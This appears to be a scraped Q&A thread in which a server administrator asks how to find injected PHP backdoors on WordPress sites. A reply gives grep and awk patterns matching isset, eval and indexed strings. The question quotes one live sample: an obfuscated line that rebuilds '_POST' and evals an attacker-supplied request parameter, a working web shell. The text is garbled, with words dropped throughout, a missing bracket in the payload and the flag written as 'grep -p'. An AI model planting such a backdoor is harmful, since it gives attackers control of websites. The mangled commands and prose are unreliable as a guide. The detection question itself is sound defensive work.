bash - Need help on Linux Shell Script to find a pattern of strings -


grep excellent utility, when comes particular task, dont find linux command comes handy.

in server, lots of hacked files injected on wordpress websites. pattern typically this.

$qv="stop_";$s20=strtoupper($qv[4].$qv[3].$qv[2].$qv[0].$qv[1]);if(isset(${$s20}'q5dfb07'])) { eval(${$s20}['q5dfb07']); } 

now, looking linux command can find following strings in single line. isset, eval, [0], [1], [2], [3], these strings can come in order.

i think, using can like, grep eval $name | grep strto | grep isset

you can try grep -p:

grep -p '(?=.*?isset)(?=.*?eval)(?=.*?\[\d+\])' file.php 

or if don't have grep can use awk:

awk '/isset/ && /eval/ && /\[[0-9]+\]/' file.php 

Comments

Popular posts from this blog

ruby on rails - RuntimeError: Circular dependency detected while autoloading constant - ActiveAdmin.register Role -

c++ - OpenMP unpredictable overhead -

javascript - Wordpress slider, not displayed 100% width -